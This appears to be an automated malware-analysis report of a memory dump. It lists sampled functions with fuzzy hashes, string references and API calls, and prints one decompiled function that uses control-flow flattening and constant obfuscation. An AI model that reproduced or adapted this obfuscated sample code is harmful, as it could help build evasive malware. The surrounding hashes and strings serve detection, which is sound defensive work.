Opcode Fuzzy Hash: e3f076d55df25e7da69ca58bb08ffa444c71112a0f92d7500cc829de4f1c52ae
Instruction Fuzzy Hash: C44200B250C3808FE778DF65C94AB9BBBE2BBC4314F10891DE19996260D7B58909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F93ABE, Relevance: 17.9, Strings: 14, Instructions: 354
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00F93ABE() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				unsigned int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				void* _t366;
				signed int _t384;
				void* _t385;
				void* _t413;
				signed int _t422;
				intOrPtr* _t424;
				signed int _t425;
				signed int _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int* _t435;
				void* _t437;

				_t435 =  &_v1720;
				_v1620 = 0x668385;
				_v1620 = _v1620 | 0x1e385418;
				_t385 = 0x69e6be1;
				_v1620 = _v1620 ^ 0x1e7ed7b4;
				_v1592 = 0xbd90f9;
				_v1592 = _v1592 ^ 0xbe5a7d98;
				_v1592 = _v1592 ^ 0xbee8ed5e;
				_v1568 = 0x3d8172;
				_t425 = 0x44;
				_v1568 = _v1568 / _t425;
				_v1568 = _v1568 ^ 0x0000e78e;
				_v1704 = 0x33329f;
				_t426 = 0x78;
				_v1576 = _v1576 & 0x00000000;
				_v1704 = _v1704 * 0x7a;
				_v1704 = _v1704 + 0x19e1;
				_v1704 = _v1704 << 2;
				_v1704 = _v1704 ^ 0x6198e69e;
				_v1700 = 0x4f7879;
				_v1700 = _v1700 ^ 0x068068af;
				_v1700 = _v1700 + 0xffffce8e;
				_v1700 = _v1700 / _t426;
				_v1700 = _v1700 ^ 0x000e8620;
				_v1708 = 0x211c1a;
				_v1708 = _v1708 + 0xf4aa;
				_v1708 = _v1708 ^ 0x94e44756;
				_v1708 = _v1708 << 0x10;
				_v1708 = _v1708 ^ 0x57920010;
				_v1636 = 0x4bfd4e;
				_v1636 = _v1636 + 0xffffda49;
				_v1636 = _v1636 << 0xa;
				_v1636 = _v1636 ^ 0x2f5a0b3c;
				_v1676 = 0xfcfb0f;
				_v1676 = _v1676 << 7;
				_v1676 = _v1676 >> 1;
				_v1676 = _v1676 ^ 0x3f3be9f2;
				_v1716 = 0xe94f3a;
				_v1716 = _v1716 + 0x398d;
				_t427 = 0x21;
				_v1716 = _v1716 / _t427;
				_t428 = 0x3d;
				_v1716 = _v1716 / _t428;
				_v1716 = _v1716 ^ 0x000241fc;
				_v1648 = 0xf37a20;
				_v1648 = _v1648 >> 0xf;
				_v1648 = _v1648 + 0xffff36a3;
				_v1648 = _v1648 ^ 0xfff985b4;
				_v1612 = 0xeb47bb;
				_v1612 = _v1612 >> 0xc;
				_v1612 = _v1612 ^ 0x000d65c2;
				_v1628 = 0xe61d50;
				_v1628 = _v1628 ^ 0xa9fbeeec;
				_v1628 = _v1628 | 0xe3d14da7;
				_v1628 = _v1628 ^ 0xebd6d513;
				_v1564 = 0xf3754;
				_v1564 = _v1564 << 0xd;
				_v1564 = _v1564 ^ 0xe6e10fa0;
				_v1672 = 0xc5ca9d;
				_v1672 = _v1672 + 0xffff8821;
				_v1672 = _v1672 >> 4;
				_v1672 = _v1672 ^ 0x000d1be5;
				_v1680 = 0xd5cdff;
				_v1680 = _v1680 + 0xffff8c76;
				_v1680 = _v1680 ^ 0x1718c905;
				_v1680 = _v1680 ^ 0x17c13aa7;
				_v1652 = 0x8270d6;
				_v1652 = _v1652 ^ 0x5839d95c;
				_v1652 = _v1652 << 0xf;
				_v1652 = _v1652 ^ 0xd4c474fb;
				_v1600 = 0x30b015;
				_v1600 = _v1600 << 9;
				_v1600 = _v1600 ^ 0x616fae71;
				_v1608 = 0xfce334;
				_t429 = 0x72;
				_v1608 = _v1608 / _t429;
				_v1608 = _v1608 ^ 0x000060cb;
				_v1616 = 0x11d4d7;
				_v1616 = _v1616 ^ 0x5fd5780f;
				_v1616 = _v1616 ^ 0x5fc8e652;
				_v1684 = 0xeae186;
				_v1684 = _v1684 + 0x6cbc;
				_v1684 = _v1684 << 9;
				_v1684 = _v1684 ^ 0xd691ca6c;
				_v1656 = 0xc19984;
				_v1656 = _v1656 + 0xed45;
				_v1656 = _v1656 + 0xffffc771;
				_v1656 = _v1656 ^ 0x00ce1f0e;
				_v1664 = 0x536949;
				_v1664 = _v1664 + 0xecba;
				_v1664 = _v1664 + 0xffffade4;
				_v1664 = _v1664 ^ 0x005726c6;
				_v1632 = 0xfb25c3;
				_v1632 = _v1632 ^ 0x0d3ffa7d;
				_v1632 = _v1632 | 0x8d26d07e;
				_v1632 = _v1632 ^ 0x8deecb7d;
				_v1640 = 0x964dcf;
				_v1640 = _v1640 ^ 0x9308e53b;
				_v1640 = _v1640 << 5;
				_v1640 = _v1640 ^ 0x73df8b4b;
				_v1696 = 0x1c5cfe;
				_t430 = 0x58;
				_v1696 = _v1696 / _t430;
				_v1696 = _v1696 << 0xb;
				_v1696 = _v1696 + 0x4083;
				_v1696 = _v1696 ^ 0x029255c4;
				_v1596 = 0x844d79;
				_t431 = 0x13;
				_v1596 = _v1596 / _t431;
				_v1596 = _v1596 ^ 0x000fd2a5;
				_v1712 = 0xaa53e9;
				_v1712 = _v1712 + 0x3fa;
				_v1712 = _v1712 << 0xd;
				_v1712 = _v1712 << 6;
				_v1712 = _v1712 ^ 0xbf135427;
				_v1660 = 0xae69d;
				_v1660 = _v1660 << 2;
				_v1660 = _v1660 + 0x7495;
				_v1660 = _v1660 ^ 0x00217c42;
				_v1644 = 0xb4b8b2;
				_t432 = 0x6d;
				_v1644 = _v1644 / _t432;
				_v1644 = _v1644 + 0x9ca2;
				_v1644 = _v1644 ^ 0x000f71e9;
				_v1720 = 0xeb9827;
				_v1720 = _v1720 ^ 0x1e223217;
				_v1720 = _v1720 + 0x18fd;
				_v1720 = _v1720 >> 2;
				_v1720 = _v1720 ^ 0x07b980eb;
				_v1692 = 0x11b265;
				_v1692 = _v1692 + 0xb6a4;
				_v1692 = _v1692 | 0x79b4443a;
				_v1692 = _v1692 >> 5;
				_v1692 = _v1692 ^ 0x03c68786;
				_v1604 = 0x89a26d;
				_v1604 = _v1604 + 0xffffbcd3;
				_v1604 = _v1604 ^ 0x008010cd;
				_v1588 = 0x82ceb0;
				_v1588 = _v1588 ^ 0xda580ff4;
				_v1588 = _v1588 ^ 0xdad52801;
				_v1688 = 0x8fa58e;
				_v1688 = _v1688 + 0xffffbc44;
				_v1688 = _v1688 + 0xcff1;
				_v1688 = _v1688 >> 0xf;
				_v1688 = _v1688 ^ 0x0005e60c;
				_v1572 = 0x2eab26;
				_v1572 = _v1572 | 0x36542239;
				_v1572 = _v1572 ^ 0x36742fed;
				_v1668 = 0x40cdab;
				_v1668 = _v1668 | 0x2a03d9d8;
				_v1668 = _v1668 << 0x10;
				_v1668 = _v1668 ^ 0xddf50159;
				_t434 = _v1576;
				_t384 = _v1576;
				_t422 = _v1576;
				_v1580 = 0x2cbee;
				_v1580 = _v1580 << 6;
				_v1580 = _v1580 ^ 0x00b1d723;
				_v1584 = 0x5c5bfd;
				_v1584 = _v1584 >> 5;
				_v1584 = _v1584 ^ 0x000d5e5b;
				_v1624 = 0x4ce735;
				_v1624 = _v1624 << 0xf;
				_v1624 = _v1624 + 0xffff05be;
				_v1624 = _v1624 ^ 0x7393a0f1;
				while(1) {
					L1:
					_t413 = 0x5c;
					do {
						while(1) {
							L2:
							_t437 = _t385 - 0x94d2245;
							if(_t437 > 0) {
								break;
							}
							if(_t437 == 0) {
								_t424 =  *0xfa5bd8 + 0x30;
								while(1) {
									__eflags =  *_t424 - _t413;
									if( *_t424 == _t413) {
										break;
									}
									_t424 = _t424 + 2;
									__eflags = _t424;
								}
								_t422 = _t424 + 2;
								_t385 = 0x95c790a;
								continue;
							} else {
								if(_t385 == 0x2370cca) {
									_t434 = E00F9E606(_v1696, _t422, _t385, _v1704, _v1596, _v1712, _t385, _v1660, _v1644, _t385, _v1568, _t385, _v1720,  &_v520, _v1692, _v1708, _v1700, _t422, _t384, _t385, _v1604);
									_t435 =  &(_t435[0x13]);
									__eflags = _t434;
									if(_t434 == 0) {
										goto L10;
									} else {
										_t385 = 0xd3e2153;
										_v1576 = 1;
										while(1) {
											L1:
											_t413 = 0x5c;
											goto L2;
										}
									}
								} else {
									if(_t385 == 0x3b57a48) {
										E00F87CC1(_t384, _v1584, _v1624);
									} else {
										if(_t385 == 0x5337573) {
											E00F87CC1(_t434, _v1668, _v1580);
											L10:
											_t385 = 0x3b57a48;
											while(1) {
												L1:
												_t413 = 0x5c;
												goto L2;
											}
										} else {
											if(_t385 != 0x69e6be1) {
												goto L25;
											} else {
												_push(_t385);
												E00F8E259(_v1636, _v1620, _v1676, _v1716, _t385, _t385,  &_v1560, _v1648, _v1612);
												_t435 =  &(_t435[8]);
												_t385 = 0xa1bcbfc;
												while(1) {
													L1:
													_t413 = 0x5c;
													goto L2;
												}
											}
										}
									}
								}
							}
							L28:
							return _v1576;
						}
						__eflags = _t385 - 0x95c790a;
						if(_t385 == 0x95c790a) {
							_t384 = E00FA3231(_v1632, _v1592, _v1640);
							_t435 =  &(_t435[3]);
							__eflags = _t384;
							if(_t384 == 0) {
								_t385 = 0xde41895;
								_t413 = 0x5c;
								goto L25;
							} else {
								_t385 = 0x2370cca;
								goto L1;
							}
						} else {
							__eflags = _t385 - 0xa1bcbfc;
							if(__eflags == 0) {
								_push(0xf8144c);
								_t366 = E00FA0AD3(_v1628, _v1564, __eflags);
								E00FA2C16( &_v1040, __eflags);
								E00F9B062( &_v520, __eflags,  *0xfa5bd8 + 0x238, _v1680, _v1652, _t366, _v1600, 0x104, _v1608,  *0xfa5bd8 + 0x30,  &_v1040,  &_v1560, _v1616);
								E00F92EED(_v1684, _v1656, _v1664, _t366);
								_t435 =  &(_t435[0xe]);
								_t385 = 0x94d2245;
								while(1) {
									L1:
									_t413 = 0x5c;
									goto L2;
								}
							} else {
								__eflags = _t385 - 0xd3e2153;
								if(_t385 != 0xd3e2153) {
									goto L25;
								} else {
									E00F93130(_t384, _t434, _v1688, _v1572);
									_t435 =  &(_t435[3]);
									_t385 = 0x5337573;
									while(1) {
										L1:
										_t413 = 0x5c;
										goto L2;
									}
								}
							}
						}
						goto L28;
						L25:
						__eflags = _t385 - 0xde41895;
					} while (_t385 != 0xde41895);
					goto L28;
				}
			}

0x00f93abe
0x00f93ac4
0x00f93ace
0x00f93ad6
0x00f93adb
0x00f93ae3
0x00f93aee
0x00f93af9
0x00f93b04
0x00f93b1c
0x00f93b21
0x00f93b2a
0x00f93b35
0x00f93b42
0x00f93b45
0x00f93b4d
0x00f93b51
0x00f93b59
0x00f93b5e
0x00f93b66
0x00f93b6e
0x00f93b76
0x00f93b86
0x00f93b8a
0x00f93b92
0x00f93b9a
0x00f93ba2
0x00f93baa
0x00f93baf
0x00f93bb7
0x00f93bbf
0x00f93bc7
0x00f93bcc
0x00f93bd4
0x00f93bdc
0x00f93be1
0x00f93be5
0x00f93bed
0x00f93bf5
0x00f93c01
0x00f93c06
0x00f93c10
0x00f93c13
0x00f93c17
0x00f93c1f
0x00f93c27
0x00f93c2c
0x00f93c34
0x00f93c3c
0x00f93c44
0x00f93c49
0x00f93c51
0x00f93c59
0x00f93c61
0x00f93c69
0x00f93c71
0x00f93c7c
0x00f93c84
0x00f93c8f
0x00f93c97
0x00f93c9f
0x00f93ca4
0x00f93cae
0x00f93cb6
0x00f93cbe
0x00f93cc6
0x00f93cce
0x00f93cd6
0x00f93cde
0x00f93ce3
0x00f93ceb
0x00f93cf6
0x00f93cfe
0x00f93d09
0x00f93d1d
0x00f93d22
0x00f93d2b
0x00f93d36
0x00f93d3e
0x00f93d46
0x00f93d4e
0x00f93d56
0x00f93d5e
0x00f93d63
0x00f93d6b
0x00f93d73
0x00f93d7b
0x00f93d83
0x00f93d8b
0x00f93d93
0x00f93d9b
0x00f93da3
0x00f93dab
0x00f93db3
0x00f93dbb
0x00f93dc3
0x00f93dcb
0x00f93dd3
0x00f93ddb
0x00f93de0
0x00f93de8
0x00f93df4
0x00f93df9
0x00f93dff
0x00f93e04
0x00f93e0c
0x00f93e14
0x00f93e26
0x00f93e2b
0x00f93e34
0x00f93e3f
0x00f93e47
0x00f93e4f
0x00f93e54
0x00f93e59
0x00f93e61
0x00f93e69
0x00f93e6e
0x00f93e76
0x00f93e7e
0x00f93e8a
0x00f93e8d
0x00f93e91
0x00f93e99
0x00f93ea1
0x00f93ea9
0x00f93eb1
0x00f93eb9
0x00f93ebe
0x00f93ec6
0x00f93ece
0x00f93ed6
0x00f93ede
0x00f93ee3
0x00f93eeb
0x00f93ef6
0x00f93f01
0x00f93f0c
0x00f93f17
0x00f93f22
0x00f93f2d
0x00f93f35
0x00f93f3d
0x00f93f45
0x00f93f4a
0x00f93f52
0x00f93f5d
0x00f93f68
0x00f93f73
0x00f93f7b
0x00f93f83
0x00f93f88
0x00f93f90
0x00f93f97
0x00f93f9e
0x00f93fa5
0x00f93fb0
0x00f93fb8
0x00f93fc3
0x00f93fce
0x00f93fd6
0x00f93fe1
0x00f93fe9
0x00f93fee
0x00f93ff6
0x00f93ffe
0x00f93ffe
0x00f94000
0x00f94001
0x00f94001
0x00f94001
0x00f94001
0x00f94007
0x00000000
0x00000000
0x00f9400d
0x00f9410c
0x00f94114
0x00f94114
0x00f94117
0x00000000
0x00000000
0x00f94111
0x00f94111
0x00f94111
0x00f94119
0x00f9411c
0x00000000
0x00f94013
0x00f94019
0x00f940e8
0x00f940ea
0x00f940ed
0x00f940ef
0x00000000
0x00f940f1
0x00f940f1
0x00f940f6
0x00f93ffe
0x00f93ffe
0x00f94000
0x00000000
0x00f94000
0x00f93ffe
0x00f9401b
0x00f94021
0x00f94250
0x00f94027
0x00f9402d
0x00f94083
0x00f94089
0x00f94089
0x00f93ffe
0x00f93ffe
0x00f94000
0x00000000
0x00f94000
0x00f9402f
0x00f94035
0x00000000
0x00f9403b
0x00f9403b
0x00f94067
0x00f9406c
0x00f9406f
0x00f93ffe
0x00f93ffe
0x00f94000
0x00000000
0x00f94000
0x00f93ffe
0x00f94035
0x00f9402d
0x00f94021
0x00f94019
0x00f94256
0x00f94267
0x00f94267
0x00f94126
0x00f9412c
0x00f9421a
0x00f9421c
0x00f9421f
0x00f94221
0x00f9422f
0x00f94234
0x00000000
0x00f94223
0x00f94223
0x00000000
0x00f94223
0x00f94132
0x00f94132
0x00f94138
0x00f94178
0x00f9417d
0x00f9418b
0x00f941df
0x00f941f4
0x00f941f9
0x00f941fc
0x00f93ffe
0x00f93ffe
0x00f94000
0x00000000
0x00f94000
0x00f9413a
0x00f9413a
0x00f94140
0x00000000
0x00f94146
0x00f9415b
0x00f94160
0x00f94163
0x00f93ffe
0x00f93ffe
0x00f94000
0x00000000
0x00f94000
0x00f93ffe
0x00f94140
0x00f94138
0x00000000
0x00f94235
0x00f94235
0x00f94235
0x00000000
0x00f94241

Strings

S!>, xrefs: 00F940F1
E"M, xrefs: 00F94001
y\, xrefs: 00F94126
5L, xrefs: 00F93FE1
yxO, xrefs: 00F93B66
:O, xrefs: 00F93BED
B|!, xrefs: 00F93E76
E, xrefs: 00F93D73
y\, xrefs: 00F9411C
S!>, xrefs: 00F9413A
IiS, xrefs: 00F93D8B
E"M, xrefs: 00F941FC
/t6, xrefs: 00F93F68
[^, xrefs: 00F93FD6

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: y\$y\$5L$:O$B|!$E"M$E"M$E$IiS$S!>$S!>$[^$yxO$/t6
API String ID: 0-1388136749
Opcode ID: 922b074d22c79bec25ca66257c47e2ba2420d0af30aa623a705c6bdb591e96d9
Instruction ID: ba94f572a90044d78f8718d6446c717702bcec2fb888def7b5375b54874d4f4f
Opcode Fuzzy Hash: 922b074d22c79bec25ca66257c47e2ba2420d0af30aa623a705c6bdb591e96d9
Instruction Fuzzy Hash: 190247B25083809FD7A8CF61C94AA5BBBE1FBD4358F10891CF2DA86260C7B58549DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F94DC5, Relevance: 15.4, Strings: 12, Instructions: 423COMMON

Download Yara Rule

Strings

vQ, xrefs: 00F952EC
{, xrefs: 00F94ED7
AB, xrefs: 00F94F21
K, xrefs: 00F95234
f, xrefs: 00F94EF5
a>F, xrefs: 00F9523F
1jX, xrefs: 00F94F8B
|0, xrefs: 00F952CC
1, xrefs: 00F951BE
({, xrefs: 00F9517C
RSM, xrefs: 00F9512A
;K;, xrefs: 00F9514C

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: AB$ K$({$1$1jX$;K;$RSM$a>F$f$|0$vQ${
API String ID: 0-3105251626
Opcode ID: 67edffb82ac6b3027f11468ff3e88e62ad4ca4068bd9178c38d0cfeaf3e1f675
Instruction ID: 08398da1bab5fd4d1244c4279672b5d8f026b4ef8fe9fe29a84028b199e3f390
Opcode Fuzzy Hash: 67edffb82ac6b3027f11468ff3e88e62ad4ca4068bd9178c38d0cfeaf3e1f675
Instruction Fuzzy Hash: 522265B1509380CFE768CF25C58AA5FBBE1FBC4708F10890DE6998A260D7B59949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FA0C66, Relevance: 14.3, Strings: 11, Instructions: 552COMMON

Download Yara Rule

Strings

lS, xrefs: 00FA0DC9
_|, xrefs: 00FA0F45
~6S, xrefs: 00FA0FBE
\ , xrefs: 00FA14BD
F>`, xrefs: 00FA118C
]), xrefs: 00FA0DB4
MN3, xrefs: 00FA15B6
Vo, xrefs: 00FA157E
h, xrefs: 00FA0EB9
Dh, xrefs: 00FA13AE
[jY9, xrefs: 00FA14AA

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Dh$F>`$MN3$[jY9$\ $_|$lS$~6S$Vo$])$h
API String ID: 0-4083489536
Opcode ID: 6d1017cd09b6593af765f4f6a55dc4ce4f92bbbc16a077b2ba15a103881b41fd
Instruction ID: 62f40d915d0eb58dd82bafc2998b48d44a29375ebf0609d4bb49d0079c4a1f52
Opcode Fuzzy Hash: 6d1017cd09b6593af765f4f6a55dc4ce4f92bbbc16a077b2ba15a103881b41fd
Instruction Fuzzy Hash: 006211715083818FD3B8CF65C58AB8BBBE2BBC5314F10891DE2DA86260D7B58949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F83E3B, Relevance: 14.2, Strings: 11, Instructions: 427COMMON

Download Yara Rule

Strings

>&1Z, xrefs: 00F83F66
;e=, xrefs: 00F842E5
}, xrefs: 00F83F00
^1+, xrefs: 00F84194
H, xrefs: 00F84499
q", xrefs: 00F8421A
d|, xrefs: 00F842DD
.F|, xrefs: 00F83E57
y*, xrefs: 00F8436B
{oS\, xrefs: 00F8417F
O`, xrefs: 00F8432D

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: }$.F|$;e=$>&1Z$H$O`$^1+$d|$y*${oS\$q"
API String ID: 0-1245192883
Opcode ID: 72df8127cfa77612756f5193aa952e287d3d5e10377fe0151da473106c527976
Instruction ID: 40a1e01c6a109034cd564d26f077bf9fded2b3759fd7eafcc17678daaf22cba5
Opcode Fuzzy Hash: 72df8127cfa77612756f5193aa952e287d3d5e10377fe0151da473106c527976
Instruction Fuzzy Hash: E12223715083819FE368CF25C98AA8BBBE2FBC5754F10890DF29986260D7B59909CF13

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54610, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

GetACP.KERNEL32(00000055,?,?,?,?,?,6ED49DCB,?,?,?,?,?,?,00000004), ref: 6ED546D1
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,6ED49DCB,?,?,?,?,?,?,00000004), ref: 6ED546FC
_wcschr.LIBVCRUNTIME ref: 6ED54790
_wcschr.LIBVCRUNTIME ref: 6ED5479E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6ED49DCB,00000000,6ED49EEB), ref: 6ED54861

Strings

utf8, xrefs: 6ED547CE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: a01ff8bb773955efbafd98b674737881a757461a896d21aece4d0891e1d623cd
Instruction ID: 2d10ca5722ef0279108e1af599be01aa2530a2b4dae7e382fb73e0f6c3a69d08
Opcode Fuzzy Hash: a01ff8bb773955efbafd98b674737881a757461a896d21aece4d0891e1d623cd
Instruction Fuzzy Hash: 2E71F771600616EAEF149BB5CC41BEA77BCEF45304F10486AE9169B380EB70D87287B2

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D5FE, Relevance: 10.6, Strings: 8, Instructions: 608COMMON

Download Yara Rule

Strings

EI, xrefs: 00F9D642
w], xrefs: 00F9DF57
W9X, xrefs: 00F9D7A6
rlg, xrefs: 00F9D857
qeV, xrefs: 00F9DA47
qu, xrefs: 00F9DABB
D.I, xrefs: 00F9DCE2
e_, xrefs: 00F9DD84

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: D.I$EI$W9X$qeV$qu$rlg$w]$e_
API String ID: 0-1297867753
Opcode ID: e194b144e95f68f135cecd44f988271e5fd91f91ad64a87ad91fc95f038d5424
Instruction ID: 1ea1ab7d9c80a4f56be7be4ea08208e98315e590c576f2dea6c12fa89a22f43e
Opcode Fuzzy Hash: e194b144e95f68f135cecd44f988271e5fd91f91ad64a87ad91fc95f038d5424
Instruction Fuzzy Hash: DF6210715083809FE378CF25C48AB9BBBE1BBC5318F10891DE5D99A260D7B49949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00F8E6FD, Relevance: 10.4, Strings: 8, Instructions: 363COMMON

Download Yara Rule

Strings

T>(, xrefs: 00F8EBDF
}mZc, xrefs: 00F8EA93
K:aI, xrefs: 00F8E7D2
)On, xrefs: 00F8EA3D
]M, xrefs: 00F8E824
,C:, xrefs: 00F8ED25
OVTV, xrefs: 00F8E9F5
_, xrefs: 00F8E919

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: )On$,C:$K:aI$OVTV$T>($_$}mZc$]M
API String ID: 0-4112715058
Opcode ID: ac3b8c4bfbb7246a15eb818fa3d47a2d0c391abd91073990aef112feb2eeeb80
Instruction ID: b09a3b7c3df1cd1cea9f8be8911e362e1054e10f2bb45fc0ec78cc68cebab6bd
Opcode Fuzzy Hash: ac3b8c4bfbb7246a15eb818fa3d47a2d0c391abd91073990aef112feb2eeeb80
Instruction Fuzzy Hash: 5F12E2725083819FD3A8CF65C88AA8BFBE1FBC5358F10891DE1DA96260D7B58549CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F84716, Relevance: 10.4, Strings: 8, Instructions: 354COMMON

Download Yara Rule

Strings

34, xrefs: 00F84916
:=Z, xrefs: 00F8483D
K|, xrefs: 00F84B37
0C{, xrefs: 00F84B3F
g, xrefs: 00F84898
K|, xrefs: 00F84726
E, xrefs: 00F84C36
aP-S, xrefs: 00F84C2E

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: E$0C{$34$:=Z$K|$K|$aP-S$g
API String ID: 0-2882036941
Opcode ID: 26fa5a94e81051c351a2ad55721b9bccb1dba51cfaf414ce88e7f6105976e159
Instruction ID: 6edf4f20a776df514f614414ceaf4046fe4f23ba8832df616676ba3eea6c500c
Opcode Fuzzy Hash: 26fa5a94e81051c351a2ad55721b9bccb1dba51cfaf414ce88e7f6105976e159
Instruction Fuzzy Hash: 4612147250D3819FD3A8CF61C98AA8BBBE1FBD5748F10891CE1D986260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F989DA, Relevance: 10.3, Strings: 8, Instructions: 318COMMON

Download Yara Rule

Strings

g;X, xrefs: 00F98D41
,<, xrefs: 00F98C66
w/, xrefs: 00F98B5B
B1i, xrefs: 00F98C5E
K_c, xrefs: 00F98B92
iaa, xrefs: 00F98C87
p+, xrefs: 00F98D71
2, xrefs: 00F98D07

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,<$B1i$K_c$g;X$iaa$p+$w/$2
API String ID: 0-2198714066
Opcode ID: 2ebdeb11dec582685b84354adbd8cb0c21ce78b9180a93a04da80d0f147b90f9
Instruction ID: 02298dbf93139dcbb9f1572879608dbc17dd1e07456b44d428c1bd391e0d778c
Opcode Fuzzy Hash: 2ebdeb11dec582685b84354adbd8cb0c21ce78b9180a93a04da80d0f147b90f9
Instruction Fuzzy Hash: CAF142715083409FE768DF26C84AA5BBBF1FBC4758F50891DF2AA86260D7B58909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F8B7EC, Relevance: 10.3, Strings: 8, Instructions: 309COMMON

Download Yara Rule

Strings

zk, xrefs: 00F8B92E
eg, xrefs: 00F8BB43
`8, xrefs: 00F8B8A6
'~, xrefs: 00F8B9A4
P@F, xrefs: 00F8BBA7
rpJ, xrefs: 00F8B865
b:, xrefs: 00F8B882
q6h, xrefs: 00F8BB01

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: '~$P@F$`8$eg$q6h$rpJ$b:$zk
API String ID: 0-3468609645
Opcode ID: 0769c801d95ad5412e5216b0e1548b384255b7a0cf28edc7ba63c751c554a109
Instruction ID: 8dbf2e7d80c51669353ed85e9bb33afd58b86f05e8615b83825f8bd97e545e66
Opcode Fuzzy Hash: 0769c801d95ad5412e5216b0e1548b384255b7a0cf28edc7ba63c751c554a109
Instruction Fuzzy Hash: BEE134B24083809FC768DF61C589A9FBBE1FBC4758F104A1DF29A86260D7B49949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F977A7, Relevance: 10.3, Strings: 8, Instructions: 275COMMON

Download Yara Rule

Strings

;^<, xrefs: 00F9785D
Yi3, xrefs: 00F97B02
xB, xrefs: 00F97A23
]<, xrefs: 00F979CE
jHF6, xrefs: 00F97984
g, xrefs: 00F9781B
c3, xrefs: 00F97A2B
%Z*, xrefs: 00F97AB7

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %Z*$;^<$Yi3$]<$c3$g$jHF6$xB
API String ID: 0-3236717411
Opcode ID: 348a034373bc3740d9fcf6a7997fdc998afc35734e02fa6b5758ab281cda08c4
Instruction ID: 2d91ddfa8183bc475d58926693863c27728c4c223673d7ba64fe98bfb7c50fab
Opcode Fuzzy Hash: 348a034373bc3740d9fcf6a7997fdc998afc35734e02fa6b5758ab281cda08c4
Instruction Fuzzy Hash: E7D10EB25083809FE764DF65C589A1BFBE1FBC4748F10891DF2968A260D7B29909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F9710D, Relevance: 10.2, Strings: 8, Instructions: 235COMMON

Download Yara Rule

Strings

.{u, xrefs: 00F97291
5dBy, xrefs: 00F9736F
<, xrefs: 00F972A9
9/x, xrefs: 00F9731A
=}s, xrefs: 00F971F7
GJL, xrefs: 00F971B6
@f, xrefs: 00F9740B
rwMZ, xrefs: 00F97275

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: <$.{u$5dBy$9/x$@f$GJL$rwMZ$=}s
